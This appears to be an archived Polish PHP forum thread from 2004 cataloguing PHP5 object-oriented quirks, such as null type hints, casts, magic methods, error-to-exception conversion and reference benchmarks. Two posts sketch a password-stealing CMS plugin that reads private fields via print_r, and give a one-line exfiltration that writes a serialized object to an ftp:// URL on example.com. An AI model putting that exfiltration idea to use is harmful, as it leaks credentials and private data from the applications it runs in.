e-Gandalf
7.09.2004, 11:34:45
przyklady:
1)
<?php
class Foo {
}
function x(Foo $e) {
}
$l = new Foo();
x((int)$l);
?>
2)
<?php
class Foo {
}
function x(Foo $e) {
}
x(null);
?>
macie inne?
Zapomniałeś o:
<?php
class Foo {
}
$foo = new Foo();
$foo->bar = 1;
?>
chfast
11.09.2004, 15:51:02
Cytat(e-Gandalf @ 2004-09-07 11:34:45)
2)
<?php
class Foo {
}
function x(Foo $e) {
}
x(null);
?>
A co w tym jest takiego dziwnego?
<?php
$integer = (int) $object;
?>
Ten kod wcale nie zamienia objektu na integer. Obiekt pozostaje obiektem. Nie wiem co jest odpowiednikiem objektu w liczbach całkowitych

ale jakaś cyferka powinna się pojawić.
e-Gandalf
11.09.2004, 18:35:55
1) A moze to, ze w kazdym jezyku swiata kazdy nieprymitywny obiekt (non-primitive object) moze byc dereferencowany (nie wiem jak to tlumaczyc... dereferenced

) do nulla? A PHP5 nie pozwala na to?
Dokladnie wycofano do w po php 5 RC3 po JEDNYM mailu jednego z programistow ktory napisal, ze jest to zadko uzywane, a sprawia problemu :/
2) Ja nie proboje zmienic typu, ja przekazuje obiekt zdereferencowany do inta

A on to olewa
chfast
11.09.2004, 19:39:34
Niestety niewiele z tego rozumiem bo nie mam pojęcia, co to znaczy ze obiekt jest 'dereferenced'.
hawk
11.09.2004, 22:06:05
Pomijając derefencowanie

chodzi o to że:
1) W każdym normalnym języku obiektowym null można wstawić wszędzie, bo to pusta referencja do obiektu. Np (java):
Kod
Integer i = null
A w php nie. Null nie działa.
2) Rzutowanie obiektu na int jest bez sensu, ale php na to pozwala, a potem olewa całe rzutowanie i robi po swojemu.
Ledwo wydali PHP5 a już wypadałoby zrobić poprawki w silniku...
e-Gandalf
13.09.2004, 08:50:00
Hawk: no dokladnie o to mi chodzilo
Dabroz
14.09.2004, 22:15:01
Szkoda że nie ma typów danych w php. Można by tworzyć takie cuda jak w C++:
Kod
int a=5;
a.~int();

[edit]
W sumie można to zrobić jeszcze bardziej chamsko

Kod
4.~int();
e-Gandalf
15.09.2004, 15:42:40
jedziemy dalej:
<?php
class Foo {
private $password='pass1';
}
$foo = new Foo();
?>
Jak mozna sie latwo domyslic, jest to pierwsza metoda ktorej bym sie imal gdybym mial napisac np. exploita w formie pluginu do jakiegos CMSa, ktory by przechwytywal hasla. buforuje output, wpisuje print_r() przechwytuje regexpem haslo i kasuje bufor. Sliczne. Gratuluje Panom z php.
hawk
17.09.2004, 21:19:17
Komedii ciąg dalszy:
<?php
class Foo {
private $var;
function __get($sName) {
return $this->var;
}
function __set($sName, $mValue) {
$this->var = $mValue;
}
}
$foo = new Foo();
$foo->bar = \"some text\";
?>
@Gandalf:Nie potrzeba nawet buforować...
<?php
file_put_contents(\"ftp://user:password@example.com/pub/file.txt\", serialize($objectWithPrivateVars));
?>
e-Gandalf
20.09.2004, 15:34:21
poprawcie jesli sie myle, ale to chyba tez blad:
<?php
class Ble {
}
class Ble2 extends Ble {
public function foo () {
}
}
$x = new Ble2();
$x->foo();
?>
smieszne, nie?
hawk
22.09.2004, 10:04:07
Dlaczego żenada? Mechanizm jest chyba zrobiony tak, jak powinien być zrobiony. No chyba że kryją się w tym kolejne błędy?
e-Gandalf
22.09.2004, 12:17:10
No, tu niestety ponosimy koszty "kompatybilnosci wstecz". php 5 obsluguje wyjatki, ale samo z nich nie korzysta, wiec otrzymujemy dualnosc jezyka. Nasza funkcja parseFile, fajnie, wywali wyjatek, ale juz fopen() wywali error, a nie wyjatek i oleje nasze try{}. Wyjsciem ktory stosuje w Thotcie jest @. if (!@fopen()) throw new IOException('Could not open file');
hawk
22.09.2004, 12:24:36
Typowy problem języków proceduralno-obiektowych. Tak samo jest np. w C++ i tego nie da się uniknąć. Java to inna sprawa, bo język był obiektowy od samego początku, i ta obiektowość jest "wbudowana" bardzo głęboko. php i C++ - już nie.
e-Gandalf
23.09.2004, 00:01:45
Cytat(serafin @ 2004-09-22 13:28:33)
Skoro ten IOException i tak bedzie prowadzil do wyswietlenia informacji i zakonczenia pracy aplikacji moglbys rownie dobrze wrzucic ten msg do exit() a wynik bylby podobny...
Nic mnie nie obchodzi jako autora API co bedzie robil coder z wyjatkiem. On ma go sobie oprogramowac tak jak mu sie podoba. Wazne, ze zwracam mu wyjatek.
Narzut czasowy jest smiesznie niski, bo choc oczywiscie mozemy sie bawic w dyskusje, na czym tracimy ta jedna tysieczna sekundy, to i tak uwazam, ze lepiej to miec i ulatwic czyste programowanie, niz zyskac jedna tysieczna i miec syf.
A potem i tak to jest cachowane (wiekszosc) wiec znika obciazenie, za to o ilez ladniej sie kod pisze

A co do Javy - pewnie, ze my tu charujemy, zeby wymyslic cos fajnego z PHP5, nikt nie dyskutuje, ze Java jest lepsza jako jezyk programistyczny

Tylko, ze w Javie juz wszystko bylo, a php to strasznie nieodkryte poletko, i mozna sie pobawic w innowacyjnosc
hawk
23.09.2004, 09:41:58
Co prowadzi nas do wniosku że każdą funkcję powinno się dokumentować. Wniosek oczywisty, nawet bez wyjątków i @throws w phpdoc. Oczywiście analizowanie funkcji nie wchodzi w grę.
A co do throws w Javie, to ma to też wady i zdania są, hmm, podzielone. Główna wada była taka, że wyjątek propagował się w górę i to samo działo się z throws, które trzeba było dopisywać do metod które same by tego wyjątku nie rzucały. Skutek: nagromadzenie throws, próby obsługi wyjątku w metodach które nie mają co z nim zrobić lub dziedziczenie z RuntimeException. Chociaż mi throws za bardzo nie przeszkadzało więc rozważania są dosyć akademickie. W każdym razie, zawsze są zady i walety

.
netzah
29.09.2004, 15:01:31
Cytat(e-Gandalf @ 2004-09-15 16:42:40)
<?php
class Foo {
private $password='pass1';
}
$foo = new Foo();
?>
Jak mozna sie latwo domyslic, jest to pierwsza metoda ktorej bym sie imal gdybym mial napisac np. exploita w formie pluginu do jakiegos CMSa, ktory by przechwytywal hasla.
Od kiedy "private" to nie metoda za zapewnianie bezpieczenstwa? Chodzi tu przeciez o wymuszenie na osobach korzystajacych z danych klas uzywania odpowiednich metod zamiast mieszania w zmiennych.
Rownie dobrze moglbym napisac, ze mozna napisac exploita w formie pluginu, ktory zrobi echo $password, bo ktos w tej zmiennej trzyma haslo. Jezeli ma sie system pluginow, trzeba uwazac jakie zmienne przekazuje sie do modulow.
e-Gandalf
30.09.2004, 20:18:27
Poczekaj, poczekaj. Jesli bym chcial zablokowac mieszanie, to wystarczloby odebrac mozliwosc edycji wlasciwosci. Pole typu private blokuje do niego dostep. I to jest cel

A to, ze nagle mozna sie do tego pola dostac, to juz cos imho jest nie tak...
hawk
30.09.2004, 22:22:55
1) Taki swodobny dostęp do zmiennych jest rzeczą nietypową. W Javie jest interfejs Serializable i wszystko co z niego dziedziczy można zrzucić do stringa, a potem podejrzeć zawartość. Ale trzeba samemu napisać to implements Serializable.
2) php nie posiada w zasadzie debuggera (no są wyjątki), więc tradycyjnie debuguje się skrypty za pomocą var_dump (fuuuuuj). Debugger musi mieć pełny dostęp do wszystkiego, więc i var_dump musi mieć taki dostęp. Nie da rady inaczej.
3) W php na szczęście ten problem jest mniej dotkliwy, bo i język jest specyficzny. Taki, rzekłbym, chałupniczy. W php nie ma np. żadnego RMI, RPC, CORBY, COM, blah, blah. W php jak piszesz skrypt to jesteś panem i władcą swojego poletka. Nie ma żadnych bibliotek zewnętrznych do których masz tylko interfejs. Nie ma w ogóle zdalnego wywoływania/przekazywania obiektów. Więc małe jest zagrożenie, że autor skryptu musi posługiwać się obiektem, który został stworzony gdzieś indziej.
netzah
1.10.2004, 07:47:22
Cytat(e-Gandalf @ 2004-09-30 21:18:27)
Poczekaj, poczekaj. Jesli bym chcial zablokowac mieszanie, to wystarczloby odebrac mozliwosc edycji wlasciwosci. Pole typu private blokuje do niego dostep. I to jest cel

A to, ze nagle mozna sie do tego pola dostac, to juz cos imho jest nie tak...
Mozna sie dostac do private - nie do konca. Mozna tylko zobaczyc jego wartosc, a i to nie bezposrednio ale przez var_dump itp. Jezeli chodzi o zalozenia private, to uwazam, ze jest OK - nikt chyba, majac obiekt z prywatnymi polami, nie bedzie badac efektow var_dump itp. zamiast uzyc odpowiednich metod dostarczanych przez obiekt. I tak, jak napisal hawk: var_dump, to php-owy debug, kto z Was go czasem nie uzywa? Ulatwia to zycie i wg mnie bezpieczenstwo na tym nie cierpi.
@hawk:
Interfejs Serializable: Jak mogloby to zostac przeniesione do php, zeby nie naruszac zgodnosci z php < 5? Potrzebna bylaby mozliwosc blokowania funkcji serialize() dla wybranych klas, ale wg mnie to zbedne kombinacje, z ktorych nie byloby wielkich korzysci, bo tak jak napisales - zagroznia sa tutaj znikome.
e-Gandalf
3.10.2004, 02:40:22
hawk: nie zgodze sie, ze nie ma RMI ;>>>>>>>>>>>>>>>>>>>>>>>> Wszak to w Thotcie juz dziala ;>>>>>>>>>>>>>>
netzah
5.10.2004, 14:26:30
Cytat(e-Gandalf @ 2004-10-03 03:40:22)
hawk: nie zgodze sie, ze nie ma RMI ;>>>>>>>>>>>>>>>>>>>>>>>> Wszak to w Thotcie juz dziala ;>>>>>>>>>>>>>>
A w jaki sposob dziala, jezeli mozna wiedziec?
e-Gandalf
6.10.2004, 15:10:45
Niestety zbyt wiele na razie nie moge zdradzac. Genrealnie API Thota oparte jest na API Javy i tu lezy klucz

Mam nadzieje, ze pierwsza publiczna prezentacja bedzie mozliwa w ciagu miesiaca.
Lukasz Luczak
10.10.2004, 19:33:08
Może nie trafiony będzie to temat. Ale mnie rozwala to, że chcą zrobić php obiektowo.
Co Ci przychodzi z obiektówki kiedy program napsiany obiektowo działa Ci góra kilka sekund a potem wszystko jego jest kasowane. Tworzenie rzeczy obiektowych polega na tym, że coś jest cały czas uruchomione a poszczególne elementy są łądowane i kasowane kiedy przychodzi na to pora.
Oczywiście php można także użyć do bardziej zaawansowanych celów ale to jest tylko sztuka dla sztuki i brak profesjonalizmu.
A wracajac do sprawy php to na mój gust bardziej powinni się skupić na roższerzeniu możliwości zabezpieczania danych w CMS'ach (tak aby było można ograncizać dostęp plikom ładowanym jako moduły do pewnych danych) niż dodawać sztucznie obiektówkę - rozumiem, że chcą się popisać itp. ale php zdobył świat tym, że był łatwy - robienie obiektówki w php to jak rąbanie w wielki baobab toporem obusiecznym aby uzyskać wykałaczkę.
Oczywiście mogę się mylić ale na mój gust jeśli chce sie coś profesjonalnie obiektowo zrobić to lepiej skorzystać z innych narzędzi
Pozdrawiam,
ps: sorry za taki OT
Seth
10.10.2004, 20:24:12
Cytat(Lukasz Luczak @ 2004-10-10 19:33:08)
Może nie trafiony będzie to temat. Ale mnie rozwala to, że chcą zrobić php obiektowo.
Co Ci przychodzi z obiektówki kiedy program napsiany obiektowo działa Ci góra kilka sekund a potem wszystko jego jest kasowane. Tworzenie rzeczy obiektowych polega na tym, że coś jest cały czas uruchomione a poszczególne elementy są łądowane i kasowane kiedy przychodzi na to pora.
Nie zgodze sie. ASP.NET takze posiada obiekty, a nawet wiecej... kazda strona w ASP.NET jest obiektem. co prawda tu sprawa wyglada nieco lepiej bo mozna przechowywac obiekty w Application i miec do nich caly czas dostep bez potrzeby inicjowania ich ale php udostepnia przeciez serializowanie obiektow i w ten spsob mozna je przechowywac np w bazie.
Poza tym obiekty nie sa po to aby je caly czas przechowywac, a po to aby grupowaly pewne zadania oraz aby byly odpowiednikiem "obiektow z realnego swiata".
Druga sprawa to taka, ze OOP to nie tylko klasy ale cala filozofia pisania kodu i tu nijak nie mozna rozwiazac wielu rzecy dostepnych w OOP przez pisanie strukturalne.
</OT>
Lukasz Luczak
10.10.2004, 22:10:46
Ok Seth - źle się wyraziłem

wybacz
netzah
11.10.2004, 07:53:29
Cytat(Seth @ 2004-10-10 21:24:12)
(...) nijak nie mozna rozwiazac wielu rzecy dostepnych w OOP przez pisanie strukturalne.
jest w tym sporo prawdy, ale jako ciekawostke podam fakt, ze pierwszy kompilatory C++ generowaly na wyjsciu C
hawk
26.10.2004, 09:05:08
Kolejna porcja głupoty:
PHP5 ma wreszcie dobrą, obiektowo zorientowaną obsługę XML. Zwłaszcza DOM jest przyjemny w użyciu. Tylko dlaczego, do $%#?@, ktoś zrobił parser zgodny ze standardem W3C i kazał mu walić błędy w razie problemu?! Czy nikt nie słyszał o wyjątkach? Żeby chociaż zwracał kod błędu. Ale nie, twórcy rozszerzenia uznali, że jak jest drobny błąd w jakimś małym pliku XML, to cały skrypt powinien się wywalić i wyświetlić w przeglądarce piękny komunikat. A ja może jestem jakiś dziwny, ale jak próbuję np. walidować dokument XML z XSchemą, to wolałbym wiedzieć czy się udało, niż od razu robić die(), katastrofa i panika.
Zwłaszcza że ta walidacja w php nie do końca działa, ale to inna bajka...
Cytat(serafin @ 2004-09-22 10:40:49)
Gdyby tylko fopen() wyrzucal FileNotFoundException to by mi ten mechanizm w php nie przeszkadzal

A tak to szkoda czasu na pisanie blokow try{} catch skoro to samo moge zrobic w prostym error_handlerze albo czyms innym....
Aje jak się okazuje - chłopaki pracują nad usunięciem tych niekompatybilności.
Powinno to rozwiazać również problem Hawka, szkoda że dopiero w php 5.1 (ciekawe kiedy stable... )
Cytat
php 5.1 will contain a derived exception class that looks more or less like this:
<?php
class ErrorException extends Exception
{
protected $severity, $message;
function __construct($message, $code, $severity)
{
parent::__construct($message, $code);
$this->severity = $severity;
}
function getSeverity() {
return $this->severity;
}
}
function ErrorsToExceptions($severity, $message)
{
throw new ErrorException($message, 0, $severity);
}
?>
This one converts errors and warnings into exceptions.
zaczerpnięte z
http://www.zend.com/php5/articles/php5-exc...=0&view=1#notesI to naprawdę działa! Przykład użycia:
<?php
function ErrorsToExceptions($severity, $message)
{
throw new ErrorException($message, 0, $severity);
}
$i = 1;
try{
reset( $i ); // dawnie byłoby Warning: reset() [function.reset]: Passed variable is not an array or object in... }
catch( ErrorException $e )
{
}
?>
Co ciekawe - w php 5.0 domyślnie nie ma takiej klasy, jednak nic nie stoi na przeszkodzie, by takową (jak podana w przykładzie klasa ErrorException) zaimplementować samodzielnie, co da bardzo podobny wynik.
bregovic
1.11.2004, 09:15:37
DeyV: WOW! Dzięki za tego tips'a - to jest po prostu orgazmiczne

Koszmarnie mi tego brakowało!
Co ma jedną wadę: pozbywamy się całkowicie error handlera... A error handler też ma swoje zalety. Wóz albo przewóz.
No i wychodzą z tego takie ułomne wyjątki - wszystkie tego samego typu. Zamiast
<?php
try {
//...
} catch (FooException $ex) {
//...
} catch (BarException $ex) {
//...
}
?>
mamy
<?php
try {
//...
} catch (ErrorException $ex) {
switch (/* co tu niby wstawić? */) {
//...
}
}
?>
Skutek jest taki, że wiemy że coś się stało, ale nie wiemy co się stało.
DeyV
16.11.2004, 22:05:46
Cytat("Krolik")
Z glupich bledow:
- Przekazywanie parametrow przez referencje spowalnia skrypt kilkaset razy.

Reszta postu przeniesiona do osobnego tematu (Czy php5 jest w pełni obiektowe? ) ----------------------
Jak się jednak okazuje - Krolik nie ma racji. Mały test:
<?php
// bez referencji
function getmicrotime(){
list
($usec, $sec) = explode(\" \",microtime()); return ((float)$usec + (float)$sec);
}
function test( $aParam )
{
$iCount = count( $aParam ); for( $i = 0; $i<$iCount; $i++ )
{
$aParam[$i]++;
}
return $aParam;
}
########## właściwy test #######################
$iStart = getmicrotime( );
for( $i = 0; $i< 1000; $i++ )
{
$aWynik[$i] = test( $aDane );
}
$iEnd = getmicrotime( );
echo 'czas trwania: '. ($iEnd - $iStart);
?>
<?php
// z referencjami
function getmicrotime(){
list
($usec, $sec) = explode(\" \",microtime()); return ((float)$usec + (float)$sec);
}
function test( &$aParam )
{
$iCount = count( $aParam ); for( $i = 0; $i<$iCount; $i++ )
{
$aParam[$i]++;
}
}
########## właściwy test #######################
$iStart = getmicrotime( );
for( $i = 0; $i< 1000; $i++ )
{
$aWynik[$i] = $aDane;
test( $aWynik[$i] );
}
$iEnd = getmicrotime( );
echo 'czas trwania: '. ($iEnd - $iStart);
?>
Nie jest to optymalny test, ponieważ wersja 2 jest nieco bardziej złożona(użycie test( $aWynik[$i] ); )
Jednak nie jest to ważne.
Wyniki:
php4.3.8
*bez referencji:
3.56973600388 *z referencjami:
4.56225204468php5.0.2
*bez referencji:
3.90641194344 *z referencjami:
4.93417310715php5.1.0-dev
*bez referencji:
2.93930196762 *z referencjami:
4.06024193764Jaki z tego testu wniosek?
Użycie referencji rzeczywiście naprawdopodobniej jest wolniejsze,
Jednak różnica jest na poziomie 30% a nie na poziomie setek razy. Ktoś się chyba nieco machnął w testach...
2 wniosek.
php5.1 zaskakuje niesamowitym wzrostem wydajności. I to nie tylko w takim prostym teście.. Jest na co czekać.
Krolik
17.11.2004, 08:49:38
Hmm... zle sie wyrazilem. Chodzilo mi o to, ze samo przekazywanie duzych zmiennych przez referencje jest na ogol do kilkuset razy wolniejsze niz przez wartosc (zalezy od wielkosci obiektow). Odwrotnie niz w C, C++, Pascalu czy Basicu, gdzie referencje sa zawsze szybsze o ile tylko obiekt jest wiekszy niz ok. 8B.
Bez urazy, ale Twoj test mierzy nie tylko czas przekazania parametru, ale rowniez jego modyfikacji. Poniewaz modyfikujesz wszystkie elementy tablicy, to czas tej modyfikacji jest porownywalny z czasem kopiowania calej tablicy (przekazywanie przez wartosc). Stad masz roznice tylko nieco ponad 30%. Zmodyfikuj w funkcji 1 element tablicy to wtedy zobaczysz roznice.
A nawet przy modyfikacji 1000 elementow wersja z referencjami powinna dzialac prawie 2 razy szybciej, no bo nie trzeba kopiowac tablicy (tak na zdrowy rozsadek). Moim zdaniem jest to troche dziwne... Poza tym w jednym z oficjalnych bugow w php 5 jest pokazany dosyc podobny kod, ale ze stringami i tam roznica byla kilkaset razy w czasie wykonania calego skryptu. Gosc przekazywal do funkcji dlugi lancuch tekstu, z ktorego nastepnie zwracal pierwsze 5 znakow jako wynik. Inni tez to potwierdzili.
BTW: 1000 prostych operacji dodawania x 1000 to tylko 1000000. Na jakim kompie testowales, ze zajelo to az pare sekund?
W C++ to samo (na Celeronie 2.4):
z referencjami: 0.009 s
bez referencji: 0.023 s
(musialem zwiekszyc liczbe wywolan w glownej petli 100000 zeby moc jakos w miare dokladnie zmierzyc)
W Javie jest podobnie. To jakby ponad 200 razy szybciej.

I o jakiej wydajnosci php 5 my tu mowimy?
hawk
17.11.2004, 09:19:53
@Krolik: poszukaj sobie wątku o tym, jak w php działa przekazywanie parametrów przez wartość. Samo przekazywanie przez referencję musi być wolniejsze, bo php przekazuje przez wartość znacznie bardziej inteligentnie niż kompilowane języki.
A porównywanie wydajności: no cóż... php szybki nie jest. Do tego do czasu wykonania php dokładana jest kompilacja. No i to zależy czy testy wykonuje się przez serwer WWW czy nie.
DeyV
17.11.2004, 10:50:17
krolik - mowisz i masz.
Oto przykład testu opisanego przez Ciebie.
http://mstudio.nq.pl/php_pl/index.php?udir...dy%2Freferencjewyniki? Bardzo podobne. (zresztą - do zobaczenia pod podanym adresem - wystarczy kliknąc nazwę pliku)
Tak więc następnym razem może nie opieraj swojej wiedzy o informacje pochodzące z jakiejś zabugowanej wersji.
Cytat
bo nie trzeba kopiowac tablicy (tak na zdrowy rozsadek)
Jak się okazuje - nie do końca zdrowy. A może po prostu nie będący w stanie sobie wyobrazić języka, który (jak to włąsnie robi php) nie kopiuje danych przekazanych przez parametr tak długo jak nie jest to konieczne.
http://www.hudzilla.org/php/18_1_11.phpNie przeczy to jednak faktowi, że php jest znacznie wolniejsze niż c. W końcu to w nim jest napisane, jak więc mogłoby konkurować?
Co do wydajności - php konkurować może jednak z Java (a raczej JSP), do wielu zastosowań będąc znacznie bardziej intuicyjnym, a zarazem mającym mniejsze wymagania, językiem.
Krolik
17.11.2004, 12:57:28
Dobrze, dobrze, moze to poprawili.
Co do przekazywania przez COW (copy on write) - ta technika jest jak najbardziej uzywana w innych jezykach. Tylko ze zwieksza ona wydajnosc i zmniejsza zuzycie pamieci tylko w pewnych, nielicznych sytuacjach i dlatego zaden jezyk nie ma tego wbudowane. Po prostu nierozsadne jest wbudowywac w jezyk mechanizmu, ktory w 90% przypadkow spowalnia, a przyspiesza rzadko i na dodatek nie mozna go obejsc.
Przy kazdym dostepie do obiektu do zapisu musi byc wykonywana kontrola czy przypadkiem licznik referencji nie jest wiekszy niz 1. Takie sprawdzanie np. przy kazdym nawet malym elemencie tablicy wprowadza duzy narzut. Dlatego lepsze dla wydajnosci jest przekazanie jawnie przez referencje, jesli nie chcemy kopiowac, niz przekazanie przez wartosc w trybie COW. Tylko to niestety nie dotyczy php, bo tu jest odwrotnie (nawet jesli te roznice nie sa az takie jak najpierw opisywalem).
W C++ czy Javie mozna sobie COW zaimplementowac bez problemu (w C++ niektore impl. STLa jeszcze go wspieraja, ale tez juz sie z tego wycofuja).
Watek jest o glupich bledach: dla mnie to jest glupi blad. Bo skoro referencje nie przyspieszaja (nawet Twoj test to pokazal) to po co w ogole sa?
Co do porownania wydajnosci z Java. Sorry, ale ten tescik Java 1.4.2 wykonala u mnie niewiele wolniej niz C. W zasadzie roznica miesci sie w zakresie bledu statystycznego. Programy pisane w Javie chodza niemal z szybkoscia programow natywnie kompilowanych (HotSpot / JIT), a czasem nawet szybciej(!), wiec php jeszcze pod tym wzgledem do Javy daleko. Tak czy inaczej ten tescik jest zbyt prosty, zeby wnioskowac o wydajnosci jezykow w ogole. Java zabiera znacznie wiecej zasobow niz php i widac to szczegolnie przy duzych aplikacjach. Jak masz malo RAMu i malo cache'u L2 to rzeczywiscie moze mocno zwolnic.
hawk
17.11.2004, 17:13:33
Ale oczywiście testowałeś tą Javę przez JSP?
Krolik
18.11.2004, 09:00:52
Nie, przez serwlet (jako kontener uzylem Jbossa, bo mam akurat pod reka). Ale JSP sa automatycznie przeksztalcane do serwletow, wiec poza pierwszym razem (kompilacja) powinno byc teoretycznie tak samo...
Nie twierdze oczywiscie, ze Java jest tak samo szybka jak C/C++, bo o ile male benchmarki rzeczywiscie moga byc nawet czasem szybsze (moge Wam podac jeden, ktory jest 3 razy szybszy niz czyste C!), o tyle duze aplikacje jednak sie troche wloka i zuzywaja okropnie duzo zasobow (Hello World: 9MB, lekkie przegiecie, nie?). Pod tym wzgledem php bije Jave na glowe.
Z drugiej strony jednak nie powiecie chyba, ze kod kompilowany i optymalizowany w locie przez HotSpot lub JIT bedzie sie wykonywal wolniej niz kod interpretowany przez php. Zreszta w php kazde wykonanie skryptu powoduje koniecznosc jego interpretacji (nie uwzgledniam cache'owania), a w Javie sporo optymalizacji jest robionych na etapie kompilacji jednorazowo.
Dobra, koncze juz ten wywod o wydajnosci, bo sie straszny OT zrobil za co przepraszam. Zdaje sie, ze mowilismy o glupich/smiesznych bledach OO w php. Co do tego rzekomego bledu z wolnymi referencjami to sam tego nie wymyslilem, tylko wzialem
stad. Dla tych co nie chca klikac przytocze odp. jednego z developerow php:
(...) Passing by reference is, in general, slower than passing
by value.
bela
18.11.2004, 21:16:34
Cytat(Zyx)
Otóż od php 4 interpretacjia kodu php składa się z dwóch etapów:
1. Kompilacja pliku php do postaci kodu posredniego
2. Interpretacja kodu posredniego
php3 interpretowal za kazdym razem
Cytat(Manual)
Parsing and execution are now two completely separated steps, no execution of a files code will happen until the complete file and everything it requires has completely and successfully been parsed.
http://www.zend.com/manual/migration4.parser.php
Krolik
20.11.2004, 10:13:06
No i co z tego? I tak za kazdym razem skrypt musi byc skompilowany. Nawet jesli kod posredni bylby gdzies przechowywany i proces kompilacji nie zajmowal niepotrzebnego czasu, to i tak ten model ma szanse byc co najmniej 3-4 razy wolniejszy od Javy. W Javie kod posredni jest kompilowany do kodu maszynowego (przynajmniej czesciowo), a w php nie. Poza tym na kazdy serwlet kompilacja zachodzi raz, a w php przypada na kazde wywolanie.
hawk
22.11.2004, 22:36:20
Zaraz, o jakiej kompilacji mówisz? Kod Javy kompilowany jest do kodu pośredniego. Tylko raz. W php jest dokładnie tak samo. Też tylko raz. W końcu każdy, kto myśli o wydajności, włączy akcelerator.
Co to znaczy, że "kod pośredni jest kompilowany do kodu maszynowego"? Prędzej czy później wszystko jest kompilowane do kodu maszynowego... A w pliku .class jest bytecode Javy, a nie asembler.
Z drugiej strony, nie udowadniajmy tutaj, że Java jest szybsza od php, bo przecież musi być i to powinno być oczywiste dla pięcioletniego dziecka

. php jest językiem interpretowanym, Java nie. php jest wolniejszy, bo posiada konstrukcje, które nie są możliwe w Javie, i taką drogę obrali jego twórcy. Czy się to komuś podoba, czy nie, to inna sprawa, ale dyskusja o tym jest jak udowadnianie wyższości gruszek nad jabłkami.
Krolik
23.11.2004, 09:37:31
Miałem na myśli bez akceleratora.
Czy sa jakies akceleratory, ktore mozna zainstalowac na ogolnodostepnych serwerach (nie majac roota)?
hawk
23.11.2004, 09:43:53
Czy jest jakiś kontener serwletów, który można zainstalować na ogólnodostępnych serwerach (nie mając roota)?
hwao
23.11.2004, 09:58:18
Proszę wrócić do tematu przewodniego...
Inaczej będę zmuszony zamknąć temat ;-)
A co do tej wymiany zdań... napisz może czemu firmom hostingowym miało by nie zależeć na zwiększeniu wydajność poprzez nagranie akcelatora, chyba to lepsze niż kupować o 40% lepszy sprzęt?
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę
kliknij tutaj.